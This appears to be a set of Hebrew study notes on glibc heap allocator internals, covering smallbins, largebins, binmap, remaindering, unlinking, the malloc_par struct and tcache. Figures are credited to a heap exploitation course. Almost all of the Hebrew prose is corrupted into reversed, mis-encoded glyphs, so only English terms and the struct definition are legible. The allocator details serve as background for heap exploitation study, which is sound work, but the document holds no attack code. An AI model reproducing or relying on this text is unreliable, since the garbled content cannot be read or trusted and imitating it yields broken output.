˫˧˲˲ˣ˥ ˧˪ˡˠ˪ s-fastbin )˫˴˰˟ ˥ˣˣ˦ ˫˧˪ˡˠˢ ˪˷ s-fasbin ˪˩ˣˬ ˨ˣ˸˟ ˥ˣˣ˦ ˢˤ .(ˢˬˠˣˡ˪ :-ssmallbin 

˫˧˞˸ˬˢ ˨˶˰˪ 0x20 ˪˧˩ˬ ˵˶ free chunks ˪ˡˣˠ˟ 0x20 ,ˢˣ-0x300 smallbin ˪˧˩ˬ ˵˶ free chunks ˪ˡˣˠ˟ 

0x300. 

 

ϐ˶ˣ˧˞ фΥ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xlπ˸˧ˮˣˣ˧˩ ˪˷ Smallbin Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

˫˧ˮ˟ˬˢ ˫˧ˡ˟ˣ˰ ˸˦˧˷˟ FIFO ,˭ˣ˧ˬ chunk ˨ˣ˸˪ smallbin )˶ˣ˩ˤ˩ ,˭ˣ˧ˬ ˞ˣˢ ˨ˣ˸ˬ s-unsortedbin (˶˷˵ˬ 

ˣ˸ˣ˞ ˪˞ ˷˞˶ˢ ˪˷ ˣ˸ˣ˞ smallbin .ˣ˸ˣ˞˟ ˭˲ˣ˞ ,ˢ˷˵˟ ˪˷ chunks ˪ˡˣˠ˟ ˫˞ˣ˸˷ ˪-smallbin ˣˮ˧˞˷ ˵˧˶ 

˶ˣ˶ˠ˸ ˢ˞˴˵ˢ ˪˷ chunk ˟ˮˤˢˬ ˪˷ ˣ˸ˣ˞ smallbin. 

˫˧˷ˣ˲˧˥ ˟-Smallbin ˫˧˰˴ˣ˟ˬ ˶˷˞˩ ˪ˡˣˠ ˢ˷˵˟ˢ ˪˲ˣˮ ˥ˣˣ˦˟ ˧˪ˡˠ s-smallbin ˵ˮ˟ '˭ˬˤ ˢˮ˧ˢ˷ ˶˥˞˪ 

˷ˣ˲˧˥ ˟-Tcache ,˧˶˥˞ˣ ˷ˣ˲˧˥ ˟-fastbin )˫˞ ˪ˡˣˠ ˢ˷˵˟ˢ ˪˲ˣˮ ˥ˣˣ˦˟ ˢˤ ,(˨˞ ˧ˮ˲˪ ˰˴ˣ˟ˬ˷ ˷ˣ˲˧˥ 

˶˞˷˟ s-bins. 
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Largebins 

˱˯ˣ˞ ˪˷ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ xl-˸ˣ˧ˮˣˣ˧˩ ˸ˣ˧˪ˠ˰ˬ ˪˩˷ ˸˥˞ ˭ˢˬ ˢ˵˧ˤ˥ˬ free chunks ˥ˣˣ˦˟ ˫˧˧ˣ˯ˬ ˪˷ 

˫˧˪ˡˠ )˶˷˞˩ ˭ˣ˶˥˞ˢ ˫ˢ˧ˮ˧˟ˬ ˞˪ ˫ˣ˯˥ ˢ˪˰ˬ˪ˬ .(˷˧ со largebins ˪˩˟ arena .˶˟ˣˡˬ ˪˰ ˫˧˪ˡˠ ˪˷ 

0x400 ˢ˪˰ˬˣ .ˢˬˠˣˡ˪ :-s0x400 largebin ˵˧ˤ˥ˬ free chunks ˫˧˪ˡˠ˟ ˥ˣˣ˦˟ 0x400-0x430 ,ˡˣ˰˟ 

˪˷ˬ˪˷ 0x2000 largebin ˵˧ˤ˥ˬ free chunks ˫˧˪ˡˠ˟ 0x2000 - 0x21f0. 

˷˞˶ˢ ˪˷ ˪˩ largebin )˰˧˟˴ˬ (˭˩ˣ˷ ˨ˣ˸˟ s-arena ˣ˪˷ ,ˡˣ˰˟ ˫˧˶ˣ˷˧˵ˢ ˭˧˟ chunks ˫˧˟˵ˣ˰ ˨ˣ˸˟ ˣ˸ˣ˞ 

bin ˫˧˶ˣˬ˷ inline )˨ˣ˸˟ s-ŎƘǳƴƪΩǎ ƳŜǘŀŘŀǘŀ .(Free chunks ˫˧˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-largebin ˫˧˞˸ˬˢ 

˫ˢ˪ ˨˞ ˵˶ˣ ˨ˣ˸ˬ s-unsortedbin ˪˷ ˣ˸ˣ˞ arena ˶˷˞˩ ˷˥˶˸ˬ ˭ˣ˧ˬ ˪˷ ˣ˸ˣ˞ chunk )unsortedbin 

scan.( 

˸ˣˬ˧˷˶ ˪˷ s-Largebins ˸ˣ˵ˤ˥ˣ˸ˬ ˶ˡ˯˟ ˡ˶ˣ˧ ˸ˮ˧˥˟ˬ ˪ˡˣˠˢ ,˶ˬˣ˪˩ s-chunk ˪ˣˡˠˢ ˶˸ˣ˧˟ ˟-bin 

˫˧˧ˣ˯ˬ ˷˧ˠˮ ˨˶ˡ s-fd ˪˷ ˣ˸ˣ˞ bin )s-chunk ˧ˮˣ˧ˬˡˢ ˨ˣ˸˟ s-arena ˞˪˷ ˪˧˩ˬ user data ,(ˢˣ-chunk 

˭˦˵ˢ ˶˸ˣ˧˟ ˟-bin ˷˧ˠˮ ˸˶ˤ˰˟ s-bk ˪˷ s-bin .˶˷˞˩ chunk ˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-largebin ,-squadword 

-sм ˪˷ s-user data ˣ˪˷ ˡ˰ˣ˧ˬ ˷ˡ˥ˬ ˩-forward pointer )fd (ˢˣ-qw s-н ˡ˰ˣ˧ˬ ˷ˡ˥ˬ ˩-backword 

pointer  )bk.( 

 

ϐ˶ˣ˧˞ млΥ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xlπ˸˧ˮˣˣ˧˩ ˫˰ ˸ˬ˧˷˶ ˫˧ˠˣ˪˧ˡ ˪˷ Largebin Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

-schunk ˭ˣ˷˞˶ˢ ˭˧˟ˬ ˶˞˷ s-chunks ˫˰ ˣ˸ˣ˞ ˪ˡˣˠ )˵˧˧ˣˡˬ (˶˷ˣ˵ˬ˷ ˪˞ s-largebin ˢ˷˰˧ ˷ˣˬ˧˷ ˟-

quadwords s-о sx-п ˪˷ s-user data )ˣˡ˰ˣ˧˧ ˷ˡ˥ˬ (˧˰˧˟˴ˬ˩ skip list )˸ˬ˧˷˶ ˫˧ˠˣ˪˧ˡ (˫˷˟ 

fd_nextsize x-bk_nextsize ˢˬ˞˸ˢ˟ .˫˧˰˧˟˴ˬˢ ˣ˪˪ˢ ˫˧˟˴˰ˬ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xl-˸ˣ˧ˮˣˣ˧˩ ˸˧˪ˠ˰ˬ 

˸˲˯ˣˮ ˢ˵˧ˤ˥ˬˢ ˸˞ s-chunk ˭ˣ˷˞˶ˢ ˪˩ˬ ˪ˡˣˠ ˫˧˧˵ˢ ˣ˸ˣ˞˟ bin .ˢ˧ˢ sx-chunk ˭ˣ˷˞˶ˢ ˪ˡˣˠˬ ˫˧˧ˣ˯ˬ 

˶˷ˣ˵ )ˢˮˣ˷˞˶˪ (˨ˣ˸˪ largebin ˫˧˧ˣ˯ˬ ,-schunks ˫˧˞˟ˢ ˣ˸ˣ˞˟ ˪ˡˣˠ ˫˧˲˯ˣˣ˸ˬ ˧˶˥˞ ˣ˸ˣ˞ chunk 

˭ˣ˷˞˶ ˪ˡˣˠ˟ ˢˤ ˪˰ ˸ˮˬ ˰ˣˮˬ˪ ˟ˣ˸˧ˮ-˶ˤˣ˥ )rerouting (˪˷ s-skip list. 

˷ˣ˲˧˥ ˨ˣ˸˟ s-Largebins ˰˴ˣ˟ˬ ˨˪ˢˬ˟ ˪ˣ˲˧˦ ˸ˣ˷˵˟˟ ˪-chunks ˪ˡˣˠ˟ 0x400 ˢ˪˰ˬˣ ,˵˶ ˶˥˞˪ 

ˢ˵˧˶˯ ˪˷ s-unsortedbin ,˨˞ ˧ˮ˲˪ ˷ˣ˲˧˥ ˟-binmap )˶˟˯ˣ˧ ˨˷ˬˢ˟ .(˨˪ˢˬ˟ ˷ˣ˲˧˥ ˟-largebin ,

Malloc ˞ˡˣˣˬ ˢ˷-bin ˫˧˞˸ˬˢ ˵˧ˤ˥ˬ chunk ˵˧˲˯ˬ ˪ˣˡˠ ˧ˡ˩ ˨ˣˬ˸˪ ˢ˷˵˟˟; ˫˞ ˨˩ ,-sbin ˵˶˯ˮ 

˱ˣ˯ˢˬ ˢ˪˥˸ˢ˪ ˷ˣ˲˧˥˟ ˶˥˞ chunk ˫˰ ˸ˬ˞˸ˢ ˪ˡˣˠ ˸˵˧˧ˣˡˬ x˞ ˪ˣˡˠ ˪ˡˣˠˬ ˢ˷˵˟ˢ )˪ˬ˶ˣˮˬˢ.( 

 Malloc ˢ˴˵˧ )˶˥˟˧ (chunk ˞˴ˬˮ˷ ˫ˠ ˟-skip list ˵˶ ˢˡ˧ˬ˟ ˣˢˤˣ s-chunk ˭ˣ˶˥˞ˢ ˣ˸ˣ˞ˬ ˪ˡˣˠ ,˸˶˥˞ 

˞ˣˢ ˢ˴˵˧ ˸˞ s-chunk ˣ˸ˣ˞ˬ ˪ˡˣˠ ˞˴ˬˮ˷ ˧˶˥˞ )˭ˣˣ˧˩˟ ˢ˵˧˶˯ˢ (ˣ˸ˣ˞ "skip chunk "˧ˡ˩ ˰ˮˬ˧ˢ˪ 

˨˶˦˴ˢ˪ˬ ˰˴˟˪ reroute ˪˰ s-skip list ˫˧˸˧˰˪ ˸ˣ˲ˣ˩˸ )ˢˬ˩ ˸ˣ˥˲˷ ˸ˣ˪ˣ˰˲ ˢ˵ˣˤ˥˸ ˧ˬ˰˦ˬ ˫˧˰ˣ˴˧˟ .

˫ˠ s-Tcache ˶˧˟˯ˮ˷ ˣ˧˪˰ ˨˷ˬˢ˟ ˯ˮ˩ˣˢ ˧˪ˣ˵˧˷ˬ ˫˧˰ˣ˴˧˟.( 

https://en.wikipedia.org/wiki/Skip_list
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˪˩ ˢ˞˴˵ˢ ˠˣ˯ˬ "ˢˬ˞˸ˢ ˞˪ ˸˵˧˧ˣˡˬ "ˢˬ-largebin ˸˪˴ˣˮˬ ˢ˞ˣ˪ˬ˟ )exhausted (ˣ˞ ˸˪˴ˣ˲ˬ 

)remaindered ,(˨˞ ˪˩˟ ˢ˶˵ˬ - ˢˡ˷ s-last_remainder ˞˪ ˭˩ˡˣ˰˧ )˪˩˩ ˢ˞˶ˮˢ ˧˪ˣ˵˧˷ˬ ˫˧˰ˣ˴˧˟( 

Binmap 

ˣˢˤ ˶ˣ˦˵ˣ ˠ˴˧˧ˬ˷ ˢ˶ˣ˴˟ ˞˪ ˢ˵ˣˡˢ )loosely (ˣ˪˧˞ ˭˧˟ˬ s-smallbins sx-largebins )˪˷ s-arena ˢ˟ ˞ˣˢ 

˶ˣˬ˷ (˫˧˯˪˩ˣ˞ˬ )˞˪ ˫˧˵˧˶ .(˞˴ˬˮ ˷ˣˬ˧˷˟ ˰"˧ malloc ˧ˡ˩ ˞ˣ˴ˬ˪ ˸ˣ˶˧ˢˬ˟ ˸˞ s-bin ˯˪˩ˣ˞ˬˢ ˪ˣˡˠˢ 

˶˸ˣ˧˟ ˞˟ˢ ˶˷˞˩ ˞˪ ˶˷˲˞˸ˢ ˸˸˪ ˢˮ˰ˬ ˢ˷˵˟˪ ˨ˣ˸ˬ s-bin ˫˧˞˸ˬˢ ˢ˪. 

˫˧˷ˣ˲˧˥ ˟-binmap ˫˧˷˥˶˸ˬ ˶˥˞˪ ˷ˣ˲˧˥ ˞˪ ˥˪˴ˣˬ ˟-unsortedbin x˞ ˟-largebin ,˸ˣ˪˸˩ ˪ˡˣˠ˟ 

ˢ˷˵˟ˢ .Malloc ˞˴ˣˬ ˸˞ s-bin ˯˪˩ˣ˞ˬˢ ˪ˣˡˠˢ ˶˸ˣ˧˟ ˞˟ˢ ˪˴ˮˬˣ x˞ ˵˪˥ˬ ˸˞ s-chunk ˭ˣ˶˥˞ˢ 

ˣ˸ˣ˞˟ bin .ˢ˶˵ˬ˟ ˪˷ ˸˪ˣ˰˲ remaindering ,ˢˡ˧ˬ˟ ˪ˡˣˠˣ ˢ˷˵˟ˢ ˥ˣˣ˦˟ ˪˷ s-smallbin ,˵˪˥ 

˸˧˶˞˷ˢ "˫˯˶ˣ˲ˬ "-˩last_remainder. 

Bin ˭ˬˣ˯˧ ˯˪˩ˣ˞ˬ˩ ˶˷˞˩ chunk ˭˧˧ˣˬˬ ˣ˩ˣ˸˪ ˨˪ˢˬ˟ ˢ˵˧˶˯ ˪˷ s-unsortedbin .Bin ˭ˬˣ˯˧ ˵˧˶˩ ˶˷˞˩ 

˷ˣ˲˧˥ binmap ˞˴ˣˬ bin ˵˧˶ ˭ˬˣ˯˷ ˯˪˩ˣ˞ˬ˩ )ˠˣ˯ ˪˷ ˭ˣ˵˧˸ ˸ˣ˞˧ˠ˷ ˭ˣ˶˩˧ˤ.( 

next  

ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ ˡ˥-˸˧ˮˣˣ˧˩ ˸˧˪ˠ˰ˬ ˪˷ ˪˩ s-Arenas ˫˧˩˧˧˷˷ ˨˧˪ˢ˸˪ ˢˤ 

next_free 

ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ ˡ˥ ˸˧ˮˣˣ˧˩ ˞˪ ˸˧˪ˠ˰ˬ ˪˷ free arenas )arenas ˞˪˷ ˫˧ˡˬˣ˴ˬ ˪-threads .(˷˞˶ 

ˢˬ˧˷˶ xʕ ˞ˣˢ s-free_list symbol 

attached_threads 

˶˲˯ˬ s-threads ˫˧˷ˣ˰˷ ˷ˣˬ˧˷ ˪˧˟˵ˬ˟ ˟-arena ˢˤ. 

system_mem 

˨˯ ˪˩ ˭ˣ˶˩˧ˤˢ ˭˸˧ˮˢ ˢ˟˧˸˩˪ ˢ˲ˣˬˬ˷ ˰ˠ˶˩ ˰"˧ arena ˢˤ. 

max_system_mem 

˸ˣˬ˩ˢ ˸˧˪ˬ˧˯˵ˬˢ ˪˷ ˭ˣ˶˩˧ˤ ˭˸˧ˮ ˢ˟˧˸˩˪ ˷-arena ˢˤ ˢ˲˧ˬ ˧˞ ˫˰˲ .˷ˣˬ˧˷˟ ˰"˧ calloc() ˧ˡ˩ ˰ˣ˟˵˪ 

˫˞ˢ ˭ˣ˶˩˧ˤ heap ˢ˲ˣˬˬ "˧˶˦ "˨˧˶˴ ˸ˣ˧ˢ˪ ˯˲ˣ˞ˬ )˨ˣ˸˟ calloc() (ˣ˞ ˞˪. 
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emainderingR 

ˣˢˤ ˥ˮˣˬˢ x˟ malloc ˢ˷ˣ˰ ˷ˣˬ˧˷ ˶ˣ˟˰ ˸˪ˣ˰˲ ˪ˣ˴˧˲ ˪˷ free chunk ˧ˮ˷˪ chunks ˫˧ˮ˦˵ ˶˸ˣ˧ ,˶˥˞˪ˣ 

˭˩ˬ ˢ˞˴˵ˢ ˪˷ s-chunk ˫˧˞˸ˬˢ ˶ˣ˟˰ ˢ˷˵˟ˢ .-schunk ˶˸ˣˮˢ ˶˷ˣ˵ˬ ˪˞ s-unsortedbin ˨˧˧˷ˢ ˪-

arena ˪˷ ˣ˸ˣ˞ chunk. 

ˢˬˠˣˡ˪ ,˨˪ˢˬ˟ ˢ˷˵˟ ˪-chunk ˪ˡˣˠ˟ 0x100 ,˫˞ s-arena ˪˷ s-thread ˪ˣ˩˧ ˰˧˴ˢ˪ ˵˶ chunk ˪ˡˣˠ˟ 

0x300 ,malloc ˰˴˟˧ unlink ˪˷ s-chunk ˪ˡˣˠ˟ 0x300 ˢˬ-free list ˢ˟ ˞ˣˢ ˞˴ˬˮ ,˶ˣˤˠ˧ ˣˮˬˬ chunk 

˪ˡˣˠ˟ 0x100 ˸˞ˣ s-chunk ˶˸ˣˮˢ )remainder (˪ˡˣˠ˟ 0x200 ˶˷˵˧ ˪˞ ˨ˣ˸ ˷˞˶ s-unsortedbin ˢ˴˵˧ˣ 

˶ˣ˟˰ ˸˧ˮ˩ˣ˸ˢ ˸˞ s-chunk ˫˰ ˪ˡˣˠˢ 0x100) .ˣˬ˧˷ ˟˪ ˫ˣ˵˧ˬˢ˷ ˭ˣ˶˩˧ˤ˟ ˪˷ s-chunk ˫˪˷ˢ ˶˥˞˪ 

˸˪ˣ˰˲ ˪ˣ˴˧˲ˢ ˞˪ ˢˮ˸˷ˬ ,˞˪˞ ˵˶ ˭˞˪ ˪˩ ˡ˥˞ ˫˧˵˪˥ˢˬ ˨˧ˣ˷ˬ x˞ ˞˪ ˨˧ˣ˷ˬ )˭˧˞ ˟˵˰ˬ ˧˶˥˞ 

allocated chunks,! ˫˧˰˧˟˴ˬˢ ˫˧˶ˬ˷ˮ ˫ˣ˵ˬ˟ ˭˸˧ˮˢ ˢ˟˧˸˩˪ ˭ˣ˶˩˧ˤ˟ ˢ˶ˣ˴˟ ˪˷ ˫˧˰˧˟˴ˬ ˫˧˶ˬ˷ˮˢ 

˫˧ˮ˸˷ˬ˪ ˫˧˟˷ˣ˧ˢ ˢˬˠˣˡ˪ ˪˰ s-stack ,-sheap x˞ s-bss ˰"˧ ˟˸ˣ˩ ˸˧ˮ˩ˣ˸ˢ ,˫˞ˣ ˞ˣˢ ˡ˟˞ˬ ˢ˷˧ˠ 

˫ˢ˧˪˞ ,ˢ˧ˢ˸ ˣˮ˪ ˸ˠ˧˪ˤ ˭ˣ˶˩˧ˤ(. 

˨˧˪ˢ˸ ˢˤ ˧ˣ˷˰ ˷˥˶˸ˢ˪ ˸˥˞˟ ˨ˣ˸ˬ ˷ˣ˪˷ ˸ˣˬˣ˵ˬ ˫˧˷˶˸˟-ˢˬ˧˶ˤ ˶˞˸ˬˢ ˸˞ ˫˸˧˶ˣˠ˪˞ˢ ˪˷ 

malloc() )˰˧˲ˣˬ ˨˷ˬˢ˟ :(м.˨˪ˢˬ˟ ˸ˣ˞˴˵ˢ ˨ˣ˸ˬ s-largebins н.˨˪ˢˬ˟ ˷ˣ˲˧˥ binmap о.˨ˣ˸ˬ 

last_remainder ˨˪ˢˬ˟ unsortedbin scan. 

Exhausting 

ˢ˶˵ˬ˟ ˣ˟˷ thread ˷˵˟ˬ chunk ˪ˡˣˠ˟ 0x80 ,˟ˣ-arena ˣ˪˷ ˷˧ ˵˶ chunk ˪ˡˣˠ˟ 0x90 ,malloc ˢ˴ˬ˧ 

ˢ˴˵˧ˣ ˭˲ˣ˞˟ ˞˪ˬ ˸˞ ˪˩ s-chunk ˢˤˢ ˫ˣ˵ˬ˟ ˪˴˲˪ ˣ˸ˣ˞ .˸˞ˤ ˫ˣ˷ˬ ˭˧˞˷ x˟ ˵˧˲˯ˬ ˭ˣ˶˩˧ˤ ˨˩ ˶˸ˣˣ˧˷ 

˶˥˞˪ ˪ˣ˴˧˲ )˸˥˧˵˪0x80  ˫˧˸˟ ˣˮˬˬ (˸˧˶˞˷ ˪˷ chunk ˪ˡˣˠ˟ ˧˪ˬ˧ˮ˧ˬ )0x20( 

nlinkingU 

˨˪ˢˬ˟ ˸ˣ˪ˣ˰˲ ˢ˞˴˵ˢ ˶ˣ˶˥˷ˣ ,chunks ˫˧˧ˣ˷˰ ˸ˣ˧ˢ˪ ˫˧˞˴ˣˬ ˢˬ-free list ˢ˟˷ ˫ˢ ˫˧ˮ˩ˣ˷ ,-schunk 

˞˴ˣˬˢ ˢ˴ˣ˥ˢ ˞˶˵ˮ άǾƛŎǘƛƳέ ŎƘǳƴƪ ˨ˣ˸˟ ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ malloc )˭˟˶ˣ˵ ˶˥˟ˮ ,ˢˬˣˡ˟ ˷ˣˬ˧˷˪ ˢ˪˧ˬ˟ 

victim ˫˸˧˶ˣˠ˪˞˟page replacement  ˪˷ ˰ˬ"s x˞ ˶˷˞˩ ˷˧ ˨˶ˣ˴ ˯˧ˮ˩ˢ˪ ˭ˣ˸ˮ ˨ˣ˸˪ cache line ˞˪ˬ - 

άŜǾƛŎǘƛƴƎ ŦǊƻƳ ŎŀŎƘŜέ ˨˶ˡ ˟ˠ˞ - ˫˧˸˧˰˪ ˣˮ˷˧ ˫ˠ ˢˮ˟ˬ ˧˸˶ˬˣ˥/˧˸ˮ˩ˣ˸ ˶ˬˣ˷˷ ˸˞ ˫˸ˣ˞ ˸ˣˮ˟˶ˣ˵ 

˸ˬˠˣˡ ˫˧˵ˣ˪˟ ,˫˧˲ˡ ˣ˩ˣ '˧ˡ˩ ˸˸˪ ˫ˢ˪ ˸ˣˮˬˡˤˢ ˢ˧ˮ˷ ˷ˣˬ˧˷˪ ˫ˢ˟ ˨˩˟ˣ ˸ˣ˯ˮ˪ ˨ˣ˯˥˪ ˸ˣ˪ˣ˰˲˟ IO 

˸ˣ˶˸ˣ˧ˬ .(˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-free lists ˞˴ˬˮ ˸˥˸ ˸˶˸ˣ˩ˢ Arenas. 
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˭ˮ˷˧ ˢˬ˩ ˫˧˩˶ˡ ˭ˢ˟ ˰˴˟˸ˬ Unlinking: 

Fastbin & Tcache Unlink 

-sFastbins sx-Tcache bins ˫˧˷ˬ˸˷ˬ ˸ˣˬ˧˷˶˟ ˸ˣ˶˷ˣ˵ˬ ˡ˥-˸ˣ˧ˮˣˣ˧˩ ˸˦˧˷˟ LIFO .˵ˣ˸˧ˮ ˪˷ chunks 

˸ˣˬ˧˷˶ˬ ˣ˪˞ ˢˣˣ˪ˬ ˢ˵˸˰ˢ˟ ˸˥˞ ˡ˟˪˟ ˪˷ ˢˡ˷ s-fd ˪˷ s-victim chunk ˪˞ ˨ˣ˸ ˷˞˶ ˢˬ˧˷˶ˢ .

˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-fastbins ˞˴ˬˮ ˸˥˸ ˸˶˸ˣ˩ˢ Arenas ,ˣˬ˩ˣ ˭˩ ˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-Tcache ˰˧˲ˣˬ ˸˥˸ 

˸˶˸ˣ˩ˢ Tcache. 

Partial Unlink 

˷˥˶˸ˬ ˶˷˞˩ chunk ˢ˴˵ˣˬ ˨ˣ˸ˬ unsortedbin x˞ smallbin .-sbk ˪˷ s-victim chunk )˧˶ˢ˷ ˥˵˪ˮ 

˱ˣ˯ˬ ˢˬ˧˷˶ˢ (˞˶˵ˮ )˟˵˰ˮ (˸˟ˣ˸˩ˢˣ ˪˷ ˷˞˶ s-bin ˸˵˸˰ˣˬ ˨ˣ˸˪ s-fd ˪˷ s-destination chunk .

˱˯ˣˮ˟ ˨˩˪ ,-sbk ˪˷ s-vitcim ˵˸˰ˣˬ ˨ˣ˸˪ ˢˡ˷ s-bk ˪˷ ˷˞˶ s-bin )˸˶ˣ˩ˤ˸ :ˣˢˤ ˞˪ ˷˞˶ ˢˬ˧˷˶ˢ 

˞˪˞ chunk ˞˪˷ ˪˧˩ˬ user data ˶˷˵ˬˣ ˭˧˟ ˷˞˶ ˟ˮˤˣ ˢˬ˧˷˶ˢ ˪˟˞ .ˢˤ ˣ˸ˣ˞ struct ˠˣ˯ˬ ˫˷˟ 

malloc_chunk .(˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-unsortedbin sx-smallbin ˞˴ˬˮ ˸˥˸ Arenas. 

Full Unlink 

˷˥˶˸ˬ ˶˷˞˩ chunk ˡ˥ˣ˞ˬ ˪˞ ˨ˣ˸ free chunk ˶˥˞ .˱˯ˣˮ˟ ˨˩˪ ,˷˥˶˸ˬ ˫ˠ ˶˷˞˩ chunk ˢ˴˵ˣˬ 

˨ˣ˸ˬ s-largebins x˞ ˰"˧ ˷ˣ˲˧˥ binmap .-sfd ˪˷ s-victim chunk ˟˵˰ˮ sx-bk ˪˷ s-victim ˵˸˰ˣˬ 

)˨˲ˣˢ ˸ˣ˧ˢ˪ (˪˞ s-bk ˪˷ s-destination .˶˥˞˪ ˭˩ˬ s-bk ˪˷ s-victim ˟˵˰ˮ sx-fd ˪˷ s-vicim ˨˲ˣˢ 

˸ˣ˧ˢ˪ s-fd ˪˷ s-destination )˶ˬˣ˪˩- ˢ˶˵ˬ˟ ˪˷ ˡˣ˥˧˞ ,˧ˬˡ˵ x˞ ˧˶ˣ˥˞ ,˸˟ˣ˸˩ s-chunk ˷ˡ˥ˢ ˡ˧ˬ˸ 

ˢ˧ˢ˸ xʕ ˪˷ s-chunk ˢ˧ˢ˷ ˫˰ ˸˟ˣ˸˩ ˢ˩ˣˬˮ ˶˸ˣ˧( 

Malloc Parameters: 

ˢˮ˟ˬ ˵˧ˤ˥ˬˢ ˫˧ˮ˸˷ˬ ˫˧˟˧˸˩ˬˢ ˡ˴˧˩ malloc ˪˰ˣ˲ ,˶ˡˠˣˬ ˨ˣ˸˟ ˢˮ˟ˬˢ malloc_par: 

struct  malloc_par  

{  

  /* Tunable parameters */  

  unsigned  long  trim_threshold ;  

  INTERNAL_SIZE_T top_pad ;  

  INTERNAL_SIZE_T mmap_threshold ;  

  INTERNAL_SIZE_T arena_test ;  

  INTERNAL_SIZE_T arena_max ;  

 

  /* Memory map support */  

  int  n_mmaps;  

  int  n_mmaps_max;  

  int  max_n_mmaps;  

  /* the mmap_threshold is dynamic, until the user sets  

     it manually, at which point we need to disable any  

     dynamic behavior. */  

  int  no_dyn_threshold ;  
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  /* Statistics */  

  INTERNAL_SIZE_T mmapped_mem;  

  INTERNAL_SIZE_T max_mmapped_mem;  

 

  /* First address handed out by MORECORE/sbrk.  */  

  char  * sbrk_base ;  

 

#if USE_TCACHE  

  /* Maximum number of buckets to use.  */  

  size_t tcache_bins ;  

  size_t tcache_max_bytes ;  

  /* Maximum number of chunks in each bucket.  */  

  size_t tcache_count ;  

  /* Maximum number of chunks to remove from the unsorted list, which  

     aren't used to prefill the cache.  */  

  size_t tcache_unsorted_limit ;  

#endif  

};  

 

cache (Thread cache)T: 

˸ˣ˞˯˶ˠ˟ glibc >= 2.26 ,˪˩˪ thread ˢ˴˵ˣˬ ˢˮ˟ˬ ˣ˪˷ˬ ˫˷˟ tcache .Tcache ˠˢˮ˸ˬ ˣˬ˩ arena ,˪˟˞ 

˞˪˷ ˣˬ˩ arenas ˫˧˪˧ˠ˶ - tcaches ˞˪ ˫˧˲˸ˣ˷ˬ ˭˧˟ threads )˭˞˩ˬˣ ˨˯˥ˮ˷ ˨˶ˣ˴ˢ ˸˪˧˰ˮ˟ ˪ˣ˰ˮˬ ˪˷ s-

heap ˧˩˶˴˪ ˭ˣ˶˩ˮ˧˯ ˭˧˟ threads ˸˰˟ ˸ˣ˷˵˟ 

ˢ˞˴˵ˢ˪ ˶ˣ˶˥˷ˣ ˭ˣ˶˩˧ˤ ˨ˣ˸ˬ s-tcache .˨˩˟ˣ ˠ˷ˣˬ 

˶ˣ˲˧˷ ˧˪˪˩ ˫˧˰ˣ˴˧˟˟ .(˫ˢ ˫˧˶˴ˣˮ ˰"˧ ˸˞˴˵ˢ ˫ˣ˵ˬ 

˪˰ s-heap )ˣ˸˪˧˥˸˟ (˨˧˧˷ˢ ˪-arena ˪˷ ˣ˸ˣ˞ 

thread ˫˧˶˶˥ˣ˷ˬˣ ˶˷˞˩ s-thread ˫˧˧˸˯ˬ )exits .( 

ˢ˶˦ˬˢ ˪˷ s-tcache ˞˧ˢ ˠ˧˲ˢ˪ ˸˞ ˸ˣ˶˥˸ˢ ˭˧˟ s-

threads ˪˰ ˫˧˟˞˷ˬˢ ˪˷ malloc ˰"˧ ˨˩ ˭˸˧ˮ˷ ˪˩˪ 

thread ˱˯ˣ˞ ˣ˪˷ˬ ˪˷ chunks ˫ˮ˧˞˷ ˫˧˲˸ˣ˷ˬ ˫˰ 

threads ˫˧˶˥˞ ˫˧˷ˬ˷˸ˬ˷ ˣ˸ˣ˞˟ arena. 

-stcache ˶ˡˠˣˬ ˨ˣ˸˟ tcache_perthread_struct 

ˢˬˣˡ˟ ˶ˣ˧˞˪ мм ,˶˷˞ ˵˧ˤ˥ˬ ˸˞ сп s-tcachbins 

˫ˢ˧˶˥˞˷˩ ˨˶˰ˬ ˫˧ˮˣˬ ˟˵ˣ˰ˢ ˧˶˥˞ ˶˲˯ˬ s-free 

chunks ˪˩˟ tcachebin. 

 

 

 

ϐ˶ˣ˧˞ ммΥ ˢˮ˟ˬ sπtcache ˞˴ˬˮˢ ˸˪˧˥˸˟ sπheap ˪˷ thread ˫˧˧ˣ˯ˬ Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper  Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 
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ˣˬ˧˷ ˟˪ ˧˩ ˶ˣ˧˞˟ ˢ˪˰ˬ ˫˧ˮˣˬˢ ˫˧ˠ˴ˣ˧ˬ ˪˰ ˧ˡ˧ ˨˶˰ˬ ˪˷ words )word  =н ˫˧˸˟ ,(ˣˢˤ ˟˴ˬˢ ˵˶ ˶ˣ˟˰ 

˸ˣ˞˯˶ˠ glibc >= 2.30 ,˸ˣ˞˯˶ˠ˟ ˸ˣˮ˷˧ ˶˸ˣ˧ ˢˤ ˢ˧ˢ ˨˶˰ˬ ˪˷ chars )˸˧˟ ˡ˥˞ .(˸˥˸ ˧˞ˮ˸ ˸˶˧˶˟ 

˪ˡ˥ˬ tcache ˵˧ˤ˥ˬ chunks ˫˧˪ˡˠ˟ ˥ˣˣ˦˟ 0x20 - 0x410 ˪˪ˣ˩ . 

˫˸ˣ˞ tcachebins ˫˧ˠˢˮ˸ˬ ˢ˶ˣ˴˟ ˢˬˣˡ ˪-fastbins ,˪˩˷˩ ˡ˥˞ ˫ˢˬ ˡ˵˲˸ˬ ˷˞˶˩ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ 

